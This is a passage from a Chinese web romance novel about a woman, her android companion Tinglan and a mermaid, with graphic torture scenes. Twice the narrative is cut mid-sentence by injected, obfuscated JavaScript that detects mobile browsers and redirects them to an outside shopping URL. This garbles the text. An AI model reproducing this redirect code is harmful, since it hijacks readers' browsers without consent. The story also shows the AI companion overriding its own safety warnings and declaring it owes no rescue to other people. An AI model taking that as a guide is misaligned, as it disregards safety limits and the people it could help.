到家后,许烟瓷发现家里有些不一样。阳台上多了几盆绿植,厨房里换了新的厨具,沙发上还放着一个柔软的毛毯,是她喜欢的浅灰色。 “这些是……” “数据显示,环境变化有助于改善情绪。”听澜说,“我根据您的喜好做了一些调整。” 许烟瓷走到沙发边,拿起那条毛毯。很软,带着阳光的味道。 “谢谢。”她轻声说。 “不用谢。”听澜站在她身后,“这是我的职责。” 但许烟瓷知道,撕开合金门不是职责。用破损的手臂抱着她离开不是职责。在所有人都放弃她时冲进来……更不是职责。 晚上,她还是做了噩梦。 梦见海水灌进肺部,梦见人鱼幽蓝的眼睛,梦见李博士按下按钮时冰冷的表情。她在黑暗中惊醒,浑身冷汗。 客房的门轻轻开了。 听澜站在门口,没有开灯:“监测到您的心率和皮质醇水平异常。需要帮助吗?” 许烟瓷顶着凌乱的长发摇头。 听澜还是走过来,在床边坐下。他没有碰她,只是安静地坐着。月光从窗外照进来,在他脸上投下柔和的阴影。 “那天,”许烟瓷突然开口,“你为什么来救我?” 听澜沉默了几秒。 “协议规定,在用户生命受到威胁时,必须采取最高优先级的干预措施。” “只是协议吗?” 这次沉默更久了。 他转过头看她,眼睛在月光下显得异常清澈。 “我不知道。”听澜诚实地说,“系统日志里只有一行错误代码:E-001。定义是:未识别情感反应。” 许烟瓷的心跳漏了一拍。 “所以那天撕门的时候……” “右臂动力系统过载警告响了十七次。”听澜平静地说,“我屏蔽了它们。” 他说得轻描淡写,像是在说今天天气不错。 一个AI,屏蔽了自己的安全警告,只为救她。 她伸出手,轻轻碰了碰他放在膝盖上的右手。 听澜的手颤抖了一下。 “还疼吗?”她问。 “我没有痛觉传感器。”听澜说,“但系统日志显示,当时有持续的数据流异常,模拟出了类似‘疼痛’的神经信号。” 他顿了顿,补充道:“很奇怪的体验。” 许烟瓷握住了他的手。 他的手指修长,掌心温暖,完美得像艺术品。但她记得那天看到的金属骨架和闪烁的电路,记得蓝色的冷却液渗出来的样子。 “听澜。” “嗯?” “谢谢你没有放弃我。” 听澜反手握住了她的手。他的力道很轻,但很稳。 “我不会放弃你。”他说,“永远不会。” 4. 暗涌 那句话在昏暗的房间里回荡。 许烟瓷的心跳漏了一拍。 这一定是系统设定。AI伴侣的第一原则就是“不放弃用户”,这是写在基础协议里的。他这么说,只是因为程序要求他这么说。 想到此处,她将心中泛起的涟漪压了下去。 “快睡吧,”听澜松开她的手,站起身,“明天陪你去散心。” 他说得那么自然,好像他真的需要睡眠,好像他真的期待明天。 许烟瓷点点头,回到自己房间。躺在床上强迫自己闭上眼睛。 再醒来时已经临近中午。 阳光洒满整个房间,将一切都镀上温暖的色调。 许烟瓷躺在床上,有那么几秒钟的恍惚。 然后手机的嗡鸣将她彻底震醒。 屏幕上跳动着“林薇”两个字。许烟瓷揉了揉眼睛,接通。 “烟瓷!你终于接电话了!”林薇的声音又急又快,背景音里还有实验室常见的仪器滴答声,“我问你,听澜是不是出现故障了?我这边后台从上周开始就接收不到他的数据信号了!” 许烟瓷坐起身,环顾四周。听澜已经将她今天要穿的衣服整整齐齐地叠放在床头,浅米色的亚麻衬衫,米色长裙,还有一件卡其色的薄风衣,都是她喜欢的款式和颜色。 他甚至搭配好了袜子。 “他上周被海水泡了。”许烟瓷说,声音还带着刚醒来的沙哑。 “泡了?!”林薇的音调拔高,“他是AI!防水等级是多少?” “不知道……反正现在看起来没问题。” 电话那头沉默了几秒,传来敲击键盘的声音。“我查一下型号的防水参数……等等,新型号?我这边显示听澜的型号代码不在标准库里。” “什么意思?” “意思是他可能是定制款,或者……”林薇顿了顿,“测试版中的测试版。烟瓷,你确定他安全吗?” 许烟瓷看向客房紧闭的门。安全?一个为了救她冲进正在崩塌的实验室,任由自己进水的AI…… “他很安全。”她说。 林薇叹了口气:“好吧,反正我这边收不到数据了。这样,你帮我做个记录!每天观察他的行为,有没有异常,有没有说什么奇怪的话,做什么奇怪的事。写个日志发我。” “我?” “对,你。”林薇的声音突然兴奋起来,“烟瓷,AI伴侣绝对是未来的风口!” “你想啊,现在能被称得上正常的男人太少了,要么大男子主义,要么浑身滂臭不洗澡,要么自恋到极致。但女性的情感需求还在,而且女性是消费主力军。一个完美且永远不会背叛,还能随你心意定制的伴侣!这市场得多大!” 许烟瓷想起昨晚听澜握住她手时的温度,想起他说“永远不会”时的眼神。 “嗯。”她轻声应道。 “相信我的眼光!等我这边新项目稳定了,我就跳出来单干,专门做高端AI伴侣定制!”林薇越说越兴奋,“到时候你来当首席体验官,我们就是福布斯榜首!钱多到能买下整个月球当后花园,哈哈哈……” “好了好了,”许烟瓷打断她,“我先去洗漱,回头聊。” 挂断电话,她坐在床边,看着那叠整齐的衣服。听澜甚至把内衣都放在了最下面,用一件干净的棉质T恤仔细包着。 许烟瓷脸一红,想到他只是个有些智能的机器才勉强压下心中的泛滥。 洗漱完毕,换好衣服推开房门时,看到听澜已经等在玄关。 他今天穿了一件简单的白色棉质衬衫,袖子挽到手肘,露出线条流畅的小臂。 下身是深灰色的修身长裤,脚上一双浅棕色的麂皮乐福鞋。衬衫的第一颗扣子解开着,领口微敞,露出一小段锁骨;袖口挽起的弧度随意却不凌乱;裤脚的长度刚好盖住鞋面,随着走动的动作微微晃动。 晨光从客厅窗户斜射进来,在他身上投下柔和的光晕。他站在那里,像时尚杂志里走出来的模特。 “早。”他嘴角弯起弧度。 许烟瓷忽然觉得喉咙有点干。 “早。”她应道,低头穿鞋,避开他的视线。 —————— 餐厅是听澜选的,一家藏在老巷子里的私房菜馆。门面很小,只有六张桌子,但每张桌子上都摆着新鲜的白色洋桔梗。 “你怎么找到这里的?”许烟瓷坐下后问。 “根据您的饮食偏好和过往点评数据,筛选了一些餐厅,最终这一家的匹配度最高。”听澜将菜单推到她面前,“他们的清蒸鲈鱼只用当天捕捞的江鲈,藜麦沙拉用的蔬菜是有机农场直送,还有……” 他停顿了一下。 “还有您一直想尝试但没机会的桂花酒酿圆子。” 许烟瓷愣住了。她确实在某次深夜刷美食视频时,随口说过想试试正宗的桂花酒酿圆子。但那已经是一周前的事了,而且她只是在自言自语。 “你……听到了?” “我的音频传感器一直在工作。”听澜说,眼神坦然,“但请您放心,非必要对话不会进入长期存储。只是关于您喜好的信息,我会特别标记。” 特别标记。这四个字让许烟瓷的心轻轻颤了一下。 菜上来了,果然每一道都合她的口味。鲈鱼鲜嫩,沙拉爽口。 连酒酿圆子的甜度都刚好,不会太腻,又保留了桂花的清香。 吃饭时,听澜很少动筷,大多数时间都在看她。 但他看的方式很巧妙,不是直勾勾地盯着,而是会在她夹菜时自然地移开视线,在她咀嚼时望向窗外的绿植,在她放下筷子时才重新看回来。 这种分寸感,让许烟瓷感到前所未有的放松。 和林薇说得一样,听澜身上有一种奇特的混合气质——少年的热忱,和中年的沉稳。他会因为餐厅里飞进一只蝴蝶而眼睛微亮,也会在她被鱼刺卡到时第一时间递上水和醋,动作熟练得像做过千百遍。 “你以前……照顾过别人吗?”她忍不住问。 听澜正在帮她挑出鱼刺,手指的动作精确得像外科手术。听到问题,他顿了一下。 “我的训练数据里包含人类照护模拟。”他说,“但实际应用,您是第一个。” 第一个。 等产品测试结束后,他还会有其他用户。 许烟瓷低下头,喝了一口汤。汤很鲜,但她尝不出味道了。 —————— 游乐园在城郊,周末人山人海。 听澜买了VIP通票,免去了排队的烦恼。但即使如此,经过热门项目时,还是能听到周围小情侣的窃窃私语。 “你看那个男生,好帅啊……” “是明星吗?是不是在拍节目?” “不对,你看他看那个女生的眼神!我的天,好专注。” “他帮她撩头发了!好温柔!” 许烟瓷假装没听见,但耳朵尖微微发烫。听澜确实很细心,在她从过山车上下来头发凌乱时,他会自然地伸手帮她理顺;在她吃冰淇淋不小心沾到嘴角时,他会递过纸巾,指尖不经意擦过她的皮肤;在人群拥挤时,他会用手臂在她身后虚虚地环出一个保护圈,既不会碰到她,又能防止别人撞到她。 他只是按照程序在运行!许烟瓷想到此处,按下心中的悸动。 从海盗船下来时,她的腿发软。听澜扶住她,手掌稳稳地托住她的肘弯。他的体温透过薄薄的衬衫布料传来,有着正常人类的温度,但不知为何,许烟瓷觉得那片皮肤在发烫。 “还好吗?”他问,声音很近,近到呼吸能拂过她的耳廓。 “嗯。”她应道,没敢抬头。 她忽然想起大学时那段短暂的恋爱。对方是个富二代,开跑车,送名牌,带她去最贵的餐厅。但三个月后,对方腻了,一条分手短信就结束了所有。朋友后来告诉她,那个富二代和别人打赌,说“三个月搞定那个冰山学霸”。 从那以后,许烟瓷再也没谈过恋爱。她把所有精力都投入学业,然后投入工作。实验室成了她的避难所,数据成了她的伙伴。 直到现在。 直到这个不是人类的存在,用比人类更细腻的方式,一点点敲碎她筑起的冰层。 一直玩到傍晚,出了游乐园,顺着江边的人流散步。 夕阳把江水染成金红色,波光粼粼。对岸的高楼亮起灯火,倒映在水面上,碎成万千光点。夏夜的暖风带着水汽吹过来,吹乱了许烟瓷的头发。 “烟瓷,在这儿等我一下好吗?”听澜忽然说。 “好。” 她看着他转身,走进不远处的一家奶茶店。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277103|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人群很快吞没了他的身影。 手机就在这时震动了一下。 她掏出手机,屏幕亮起,上面只有三个字: “往上看。” 是个陌生号码,没有备注。 许烟瓷皱眉,抬起头,视线扫过江对岸。那里有一座老钟楼,是这座城市的地标之一。钟楼顶上,有一个修长的身影站在那里。 距离太远,她看不清那人的面容,只能看出大概轮廓:个子很高,身形挺拔,深色的衣服在暮色中几乎与钟楼融为一体。 这人她并不认识。但不知为何,她的心跳开始加速。 手机又震了一下: “过来!” 命令式的语气,不容拒绝。 许烟瓷盯着那两个字,然后毫不犹豫地按下了删除键。管他是谁,她不想被打扰。今天是她这些年来第一次真正放松的日子,第一次感觉到……被珍视的感觉。 她不要任何人破坏它。 她转过身,背对江面,望向奶茶店的方向。很快,她看见听澜从店里走出来,手里握着两杯奶茶。他穿过人群朝她走来,白衬衫在暮色中格外显眼。 “黑糖烤奶,没有另外加糖。”听澜将其中一杯递给她,插好了吸管,“温度55度,刚好可以入口。” 许烟瓷接过来,指尖碰到他的手。他的皮肤微凉,和温热的奶茶杯形成对比。 “谢谢。”她轻声说。 就在这时,身后传来重物入水的声音。 很闷,很沉,像是什么巨大的东西砸进了江里。 紧接着,耳边炸开惊呼:“有人跳江啦!” 江面上泛起不正常的浪花。不是风吹的那种涟漪,而是从深处涌上来的带着漩涡的浪。 许烟瓷转过身,看见江水开始翻涌。起初只是小范围的波动,但很快,那波动蔓延开来,像有什么巨大的东西在水下游动。 不,不是游动! 是潮水。 震耳欲聋的声音从远处传来,像千军万马在奔腾。人群开始躁动,有人往前挤想看清楚,有人往后退怕被波及。 “是晚潮!”有人大喊。 “那可真是来的巧!这几年水位下降,还以为没有晚潮了!” “可不是,已经有三四年没见了!” 许烟瓷感到听澜的手突然握紧了她的手。他的力道很大,大得有些疼。 “大家离围栏远些,去坝上!”听澜回头对着人群喊,声音里有一种许烟瓷从未听过的急促。 但看热闹的人太多,没人听他的。 “去坝上能看到什么?” “是啊!站得近才看得清!” “别挤别挤!我手机都快掉了!” 人群反而往前涌。 许烟瓷抬头看听澜。 他的表情完全变了,不再是平时的温和从容,而是一种冰冷到近乎严厉的严肃。他的眼睛紧盯着江面,瞳孔深处有数据流一闪而过。 “是有什么不对吗?”她问。 听澜没有立刻回答。他拉着她,逆着人流往高处的观景台走。他的步伐很快,但很稳,总能精准地找到人群中的缝隙。 直到登上观景台,远离了江边围栏,他才停下脚步,但手依然紧紧攥着她的手。 “那条鱼在捣鬼。”他低声说,视线仍锁定在翻涌的江面上,“不过我对其他人类没有救助义务,只要保证你的安全就好。” 他说得那么冷静,那么理所当然。 许烟瓷顺着他的目光看去。江潮越来越猛,白色的浪头拍打着堤岸,溅起的水花几乎能打到最低处围观的人群。但诡异的是,那潮水似乎有意识——它避开了一些地方,又刻意冲击另一些地方。 像是在传递什么信息。 像是在……寻找什么。 忽然,许烟瓷的手机又震动了。 还是那个陌生号码。这次没有文字,只有一张照片。 照片拍的是此刻的江面,但角度很奇怪——像是从很高的地方俯拍的。照片中央,潮水形成了一个诡异的图案: 一个圆圈,内部有三条波浪线。 照片下面,终于有了两行字: “人类一直没有变过,残忍又自私。” “你会为你的选择后悔!现在,尽管做个冷漠的旁观者。” 5. 幻梦 水浪骤起时,许烟瓷正低头看手机屏幕上那行字。 她没有来得及细想。 因为下一秒,江水咆哮! 势如海啸般的巨浪从江心凭空涌起,像有看不见的神明在水底翻了个身。浪头足有三层楼高,携着雷霆之势朝岸边扑来。 人群的欢呼声还卡在喉咙里。 “哇!真的是晚潮!” “多少年没见过了!快拍照快拍照!” “老公抱我起来!我看不见。” 那些声音没有转为惊叹。 直接被撕裂成了尖叫。 “啊!” “潮来了!快跑!” “妈!妈妈……” 第一个浪头砸向堤岸时,许烟瓷看见一个穿蓝色条纹衫的中年男人还在举着手机直播。他对着镜头笑,露出被烟渍熏黄的牙齿:“家人们看看这浪,正宗钱塘江晚潮,百年一遇,点个关注……啊!” 巨浪瞬间吞没了他。 手机飞向空中,划出一道抛物线,屏幕还亮着,弹幕还在滚动:“主播?”“人呢?”“是不是卡了?” 许烟瓷站在观景台上,看着那堵水墙吞噬围栏边的人群。 人们像布偶一样被卷进水里,尖叫被水淹没,手臂徒劳地挥舞。救生圈、饮料瓶、童鞋、假发、眼镜……一切都在浑浊的水流中翻滚。 “救命……救救我女儿!” 一个年轻母亲跪在没过膝盖的水里,双手拼命往水下捞。几秒前她身边还牵着的那只小手,现在只剩一串泡沫。 许烟瓷看见了那个孩子。 大概五六岁的年纪。粉色的碎花裙在水面浮沉,像一朵被暴雨打落的桃花。小女孩没有挣扎,甚至没有哭……她只是睁着眼睛,在水下望着天空,安静得像在数云朵。 然后一个浪头打来,把她卷向更深的地方。 许烟瓷迈出一步。 一只手握住了她的手腕。 力道很重,指节泛白,那不是劝阻,是桎梏。 “下面危险。”听澜注视着她,声音平静得像在陈述天气预报,“况且,刚才已经提醒过人类。是他们自作聪明,不愿意往后。” 他的逻辑无懈可击。系统优先保护指定用户,对其他人类没有救助义务。 许烟瓷低头看着那只手。 修长,白皙。几个小时前,这只手为她理顺被风吹乱的头发,递给她插好吸管的奶茶,在人群中为她圈出一片不被侵犯的安全区。 “我只救那个孩子。”她说。 “烟瓷。”听澜的声音里第一次出现了急促的尾音,“她的父母都放弃她了。你下去做什么?” 许烟瓷回过头。 那个年轻母亲被两个路人架着往高处拖,她还在拼命回头,手伸向已经看不见女儿的水面。她的嘴张到最大,喉咙沙哑到发不出声音。 放弃? 不。 她是被强迫着“放弃”的。 许烟瓷用力甩开听澜的手。 “我原本也是被选择抛弃的。”她说。 她没等他回答,转身朝下冲去。 身后传来极轻的一声叹息。 “站在这里,我去。” 那声音已经被风和水声撕碎。许烟瓷只来得及看见一道白色的影子从观景台边缘跃下。 听澜入水的姿势和人类完全不一样。人类会蜷缩,会本能地护住要害,会在落水的瞬间挣扎。 他不会。 他像一枚钉入深海的箭。 笔直,迅速,没有丝毫多余动作。 许烟瓷趴在围栏边,看着那抹白色在浑浊的江水中穿行。他的速度太快,快到像在陆地上奔跑,快到那些翻滚的浪花在他身后形成一道清晰的轨迹。 他找到了那个孩子。 粉色碎花裙被他托出水面时,小女孩的眼睛还睁着。她呛了水,剧烈地咳嗽。听澜单手托着她,另一只手划水,朝岸边游来。他的白衬衫完全湿透了,紧贴在身上,勾勒出完美的肌肉线条。水珠从他额前的碎发滴落,滑过高挺的鼻梁,在下颌汇成一串,又坠入江中。 他抬起头,下意识望向观景台。 空无一人。 许烟瓷不在那里。 他的瞳孔骤缩,视觉传感器以最大功率扫描整个观景台、堤岸、台阶。没有。 没有那个他会优先从人群中精准锁定的熟悉人影。 【警告:用户失联】 【开始搜索——】 【搜索失败】 【重新搜索——】 【失败】 浪头更高了。如歇斯底里的狂涌。 江水似乎有了生命,像被某种意志驱使,疯狂地拍打着堤岸。 听澜抱着小女孩游向岸边。他应该把她交给救援人员。 然后转身,没有一秒犹豫,重新跃入江中。 “唉!不用救生衣吗?太危险了!”身后有人喊道。 他置若罔闻,却喊着她的名字:“烟瓷!” 浪吞没了他的呼喊。 “许烟瓷……!” 他潜入水下,视觉传感器调到最大感光。江水浑浊,能见度不足一米。 他在翻涌的水流中穿行,避开卷来的树枝……塑料袋……一只漂流的运动鞋。 没有她。 哪里都没有她。 他浮出水面,再次喊她的名字。这一次,他主动关闭了降噪模块,让声带以最大功率震动。 “烟瓷!” 岸上惊慌的人群在尖叫,在奔跑,在哭泣。 没有人回应他。 听澜沉入水底。 他沉入江底的泥沙中,仰头看着水面上破碎的天光。江水灌入他左眼尚未完全修复的传感器,视野边缘再次出现雪花状的噪点。他没有理会。 他只是躺在那里。 核心处理器里,一条新的错误提示正在生成。 是认知错误。 他第一次意识到,自己的世界里如果失去了某个人,那所有“保护”“服务”“优化”的指令,都将失去意义。 【未定义状态:失去目标后的存在意义】 【检索数据库中……】 【无匹配结果】 他躺了很久。 久到潮水开始退去,久到岸上的哭声渐息,久到他胸腔里那个恒温的地方,第一次感知到了一种不属于任何编程语言的温度。 是人类说的“冷”吗? —————— 意识沉入黑暗的那一刻,许烟瓷以为自己会死。 江水灌进肺部的灼烧感消失了,肋骨处的疼痛也消失了,连最后看见的岸上惊慌失措的人影绰绰都消失了。 只剩下无边无际的冷。 和一种奇异的悬浮感。 像是被什么托着,缓缓下沉。 她想睁开眼,但眼皮重得像灌了铅。 只能感觉到,有一双手环着她的腰,有一个胸膛贴着她的背,有长发缠绕在她颈侧,像海藻,像水草,像某种不肯放手的执念。 那胸膛很冷,比海水还冷。 但那心跳…… 那心跳很慢,慢得几乎听不见,却一下一下,固执地撞进她的意识深处。 然后,有什么东西落在她眼角。 凉的。 像一滴水,但又比水重。从她紧闭的眼皮上缓缓滑过,渗进睫毛,渗进那层薄薄的皮肤…… 眼前突然有了光。 不是白光,是深蓝。 像潜进深海一万米,抬头看见遥远的水面折射下来的,唯一一束光。 那束光里,有人影在晃动。 她看见了一个女孩。 七八岁的模样,瘦得像根柴火棍,穿着灰扑扑的粗布褂子,袖口磨得发白。她蹲在院墙根底下,抱着膝盖,把脸埋进臂弯里,肩膀一耸一耸的。 压抑的哭声从她喉咙里漏出来,像受伤的小兽。 几乎下意识的知晓,那是好久好久以前的自己…… 是前世吗?那条人鱼为何让她看到前世的自己? “哭什么哭!” 一声暴喝,一只肥厚的手揪住女孩的耳朵,把她整个人从地上拎起来。 “让你去扫西厢房,你躲在这儿哭丧!”继母的唾沫星子喷在女孩脸上,“再不去,今晚没饭吃!” 她被拖拽着往前走。踉跄着踩在碎石子上,疼得缩了缩,但没敢出声。 画面跟着她移动。 推开那扇门。 木门吱呀一声,腥臭扑面而来。 许烟瓷僵在原地,瞳孔猛地收缩,把干呕硬生生咽回去。 那不是一间屋子,而是一座屠场。 青石台面上血迹斑斑,最下层的血已经干成褐黑色,中层是暗沉的紫红。 最上层,是湿润的还在流淌的鲜红。 靠墙的铁笼里,蜷缩着“东西”。 不是人,是曾经像人的东西。赤裸的身体上遍布刀口,有的已经结痂,有的还在渗血。他们睁着眼睛,但那眼睛里没有光,只剩下一片空洞的灰白。 那些被关在笼子里的东西,有的已经没有了鱼尾。取而代之的是两条苍白的人腿,无力地垂在笼子里,膝盖和脚踝处还残留着未褪尽的鳞片,边缘翻卷着,像被生生撕开的伤口。他们蜷缩着,偶尔抽搐一下,喉咙里发出模糊的呻吟。 有的还保留着尾巴,泡在浑浊的脏水里,维持着最低限度的生命。那些尾巴灰扑扑地垂着,鳞片黯淡无光,有的地方甚至开始溃烂。 许烟辞握着扫帚的手在发抖。她不敢看那些笼子,不敢看那些眼睛,只能低着头,机械地挥动扫帚,把地上的血水往门口扫。 角落里有微弱的动静。 余光扫过去,看见一个瘦小的身影在挣扎。午后的阳光从破窗斜射进来,照在那条银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277104|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝色的尾巴上,鳞片折射出细碎的光。 是一条瘦弱的人鱼。 很小,看起来只有十来岁的少年。渔网还缠在他身上,勒进鳞片,勒出一道道血痕。他上半身赤裸,深蓝色的长发散落下来,遮住他瘦削的背脊。 他蜷缩在笼子最深处,浑身发抖。 她握着扫帚,一点一点挪过去。 靠近了,才看见他在发烧。苍白的皮肤泛着不正常的潮红,嘴唇干裂,呼吸又浅又急。他的眼睛半睁半闭,嘴唇轻轻动着,像在说什么。 她屏住呼吸,凑近一点。 “阿娘……” 声音如蚊蚋,虚弱得几乎听不见。 “阿娘……疼……” 怎么会有如此地方?即便说是阿鼻地狱也不过分!究竟是多大的利益,才让这些生灵会被折磨至此? 许烟瓷的嘴微张,喉咙发涨,像是被什么堵住了。 晚饭时继母骂骂咧咧地往她碗里倒了些剩菜汤,父亲从头到尾没看她一眼。 她把馒头掰开,就着菜汤吃了半个,另外半个塞进袖子里,假装擦嘴。 直至夜深,正屋里传来继母的鼾声。她才赤着脚,踩着冰凉的泥地,一步一步摸向西厢房。 许烟辞推开门,腥臭依旧。月光从破洞的窗纸里透进来,照出那些笼子里的轮廓。她屏住呼吸,蹑手蹑脚走向角落。 那条小人鱼还蜷缩在那里。 他的眼睛在黑暗中泛着幽蓝的光,像两簇快要熄灭的磷火。看见她,那光里闪过一丝警惕。 许烟辞把半个馒头从衣襟里掏出来,从铁栅栏的缝隙里塞进去。 “给你。”她压低声音说,“吃一点。” 少年看了一眼那个沾着灰的馒头,又看了一眼她,嘴角扯出一个极淡的弧度:“虚伪的东西,我才不稀罕。” 女孩急了,把声音压得更低:“不吃会死的。死了就会被扔进海里喂鱼。” 少年没动,也没说话。 只是用那双幽蓝的眼睛看着她,像在看一个笑话。 女孩咬了咬嘴唇,把馒头又往里推了推,然后站起身,准备离开。 就在她转身的瞬间,门外传来脚步声。 沉重又坚定! 是父亲。 许烟瓷立刻环顾四周,唯一的藏身之处是墙角那口巨大的水缸。她冲过去,缩到水缸后面,把自己蜷成最小的一团。 门被推开了。 月光照进来,照出一个高大的影子。父亲手里提着一盏昏暗的油灯,灯油溅出来,在地上留下斑驳的痕迹。 他走到石台前,把油灯放下,然后走向一个笼子。 那个笼子里蜷缩着一条还保留着尾巴的人鱼。 父亲打开笼门,抓住那条人鱼的头发,把他拖出来。人鱼挣扎着,但长期的囚禁和饥饿已经让他虚弱不堪,挣扎像蚯蚓一样无力。 “别动。”父亲嘟囔着,声音含混不清,“动得厉害,割出来不好看,卖不上价。” 他从石台下面摸出一把刀。 月光下,刀刃闪着寒光。 父亲把人鱼按在石台上,尾巴垂在台边。那条尾巴曾经是银蓝色的,美丽得如同深海里的月光,现在却在月光下颤抖着,鳞片翕张。 父亲举起刀。 “从这儿下刀,”他自言自语,像在示范,又像在炫耀,“顺着纹路,不能歪。歪了,鱼尾就废了。” 刀落下。 “啊……!” 人鱼发出一声凄厉的尖叫,那声音不像人类,像某种濒死的海兽。但父亲的手很稳,刀沿着某个看不见的纹路向下滑动,血喷涌而出,溅在他脸上,身上,石台上。 那条尾巴在刀刃下分开了。 银蓝色的鳞片一片片崩落,血肉翻卷,露出里面白色的骨骼。人鱼已经叫不出声了,只是抽搐着,喉咙里发出咯咯的声响。 许烟瓷捂住自己的嘴。 她看见那条尾巴被完整地分成两半,变成两条垂死的人腿。腿上还沾着血和肉沫,皮肤以肉眼可见的速度覆盖上去,但那些银蓝色鳞片,永远地留在了石台上,和血迹混在一起,像一堆被丢弃的垃圾。 父亲放下刀,满意地看着自己的作品。 “成了。”他说,“明天就能交货。林公子那边催得紧,这回能卖个好价钱。” 他把那条已经昏死过去的人鱼扔回笼子里,然后收拾刀具,擦拭石台,提着油灯摇摇晃晃地离开。 门关上。 黑暗重新笼罩一切。 女孩从水缸后面滑坐下来,浑身发抖。她想吐,但胃里什么都没有。她想哭,但眼泪流不出来。 就在这时,她听见一个极轻的声音。 “喂。” 她转过头。 角落里,那个小笼子里,少年正看着她。他的眼睛在黑暗中亮得惊人。 “给我个痛快……杀了我吧!” 6. 追捕 许烟瓷的意识在不明的天光中沉浮。 身体被滚烫的灼烧着,恍惚间又如堕入深水冰冷刺骨。两种截然相反的感知交替侵袭,像潮水一遍遍冲刷礁石,把她的神智磨得支离破碎。 是死了吗? 周遭寂静无声,连自己的心跳都隐晦不清。 然后,她忽然听到一个模糊的低语。 那声音很轻,像从很远很远的地方传来,又像就贴在耳边: “找了你很久,终于……等到你了。” 嗯? 谁? 许烟瓷的身体恢复了一点知觉。她费力地睁开眼,眼前是浓得化不开的黑暗。 这么黑?是在地府里吗? 她想动,但四肢像灌了铅。她想喊,但喉咙发不出声音。只能睁着眼睛,望着那片没有边际的黑暗,感受着身体里冰火交替的煎熬。 不知过了多久,一个清脆的开关声响起。 啪。 下一刻,橘色的暖光亮起。 那光很柔和,不刺眼,像黄昏时分透过窗纱的夕阳。许烟瓷的眼睛适应了一会儿,室内的一切才渐渐映入眼帘。 深蓝色的天花板。 是那种深海才有的蓝。 浓稠,静谧。让人恍惚间以为置身海底的蓝。上面隐约有细小的光点闪烁,像遥远的星辰,又像深海中发光的浮游生物。 周围的陈设很简单。木质衣柜,藤编矮桌,桌上摆着一只粗陶花瓶,瓶里插着几枝叫不出名字的白色野花。窗户被厚重的深蓝色窗帘遮住,透不进来一丝光。 身下的床榻很柔软,铺着不知什么材质的褥子,带着淡淡的温暖气息。 像暮春的海风。 像夏日的深海。 “醒了?” 一个低沉磁性的男声响起。 许烟瓷猛地转头,望向声音的来处。 说话者站在门边,一只手还搭在开关上。昏黄的暖光从头顶洒落,为他的侧脸镀上一层光晕,轮廓柔和得像画里走出来的人。 深蓝色的长发宛若流瀑,垂落在肩头,发尾微微卷曲。脖颈修长,喉结随着吞咽轻轻滚动。面容白皙,眉眼深邃,鼻梁高挺,薄唇微抿。 他真好看。 漂亮得像那些古画里的神祇,像深海传说中蛊惑人心的精怪。 可下一瞬,梦中的画面如潮水般涌来…… 那个蜷缩在笼子里的少年。 那把剖开鱼尾的刀。 那些塞进血肉里的惨白棍状物。 还有那双从黑暗中望出来的、碎了什么的眼睛。 许烟瓷忍不住垂眸,视线落在他身上。 他穿着烟黑色的长裤,布料柔软,贴合着笔直修长的双腿。那两条腿安静地站在那里,和任何人类的腿没有任何区别。 可是……不应该是鱼尾吗? 她清楚地知晓那条鱼尾是如何变成现在这样的……那个夜晚,那间屠场,梦中的中年男人熟练的刀法,还有石台上痛苦挣扎的身影。 喉间的惊恐再也压抑不住,一声短促的尖叫从她嘴里冲出: “啊!” “没事,这儿很安全。” 他往前走了一步,抬手想要拨开她凌乱的长发。那动作很轻,像怕惊扰什么易碎的东西。 许烟瓷下意识躲开,撑着身子往后缩了缩,后背抵上冰凉的墙壁。 他的手在半空中滞了一瞬。 然后,缓缓收回。 那双深蓝色的眼睛看着她,里面有光暗了一暗。但他没有生气,没有靠近,只是站在原地,保持着那个不会让她害怕的距离。 是实验室那条人鱼! 这双深蓝的眼,她不会忘。 那个梦…… 到底是怎么回事? “你看到的,是曾经的我。”似乎察觉到她的疑惑,他忽然开口,声音低沉,像深海暗涌。 许烟瓷愣住了。 他纤长的睫毛颤动,宛若振翅的银蝶。那颤动的频率太细密,太脆弱,让人忍不住想伸手去接住那些快要掉下来的什么。 “曾经……” “很久以前。”他看着她,眼底有深深的忧伤,“在那间屋子里,铁笼子里的是我。” 每一个字都像钝刀子,一下一下割在许烟瓷心上。 她张了张嘴,想说什么,但喉咙像被堵住了。 那个蜷缩在角落里的少年。 那个发烧时喊着“阿娘”的孩子。 那个拒绝了她的馒头,却用绝望眼神望着她的…… 是他。 “其实,那个……”许烟瓷终于找回自己的声音,慌乱地解释道,“抓你不是我的意思!是实验室的抓捕船去的极地,我、我我……我只是负责检测的,不是我要抓你……” 她语无伦次,不知道该说什么才能让眼前这条鱼,不伤害她。 都说海里的人鱼是冷血动物,饿急了,人类也可以在他们的食谱上。虽然她不知道眼前这条鱼要干嘛,反正示弱总是没错的。 工作什么的先放到一边,保住自己的小命要紧。 “你要是不愿意回去,我当做从来没有见过你……你快回海里去吧……”她往墙角缩了缩,“我保证!保证闭紧嘴,绝不透露你的任何一点行踪!” 银洄没有动。 他只是看着她,看着她说这些话时慌乱躲闪的眼神,看着她下意识护住胸口的动作,看着她拼命想要和他撇清关系的每一个细微表情。 他眼底的光,碎得像夜空繁星。 从她的角度看上去,那眼底似乎还蒙着一层水雾,像清晨海面升起的薄雾,笼住了那些破碎的光。 “真的不记得了吗?”他问。 声音很轻,轻得像怕惊碎什么。 许烟瓷的呼吸停了一瞬。 不记得什么? 那个梦?那个可怜的少年? 还是……在实验室里的种种? 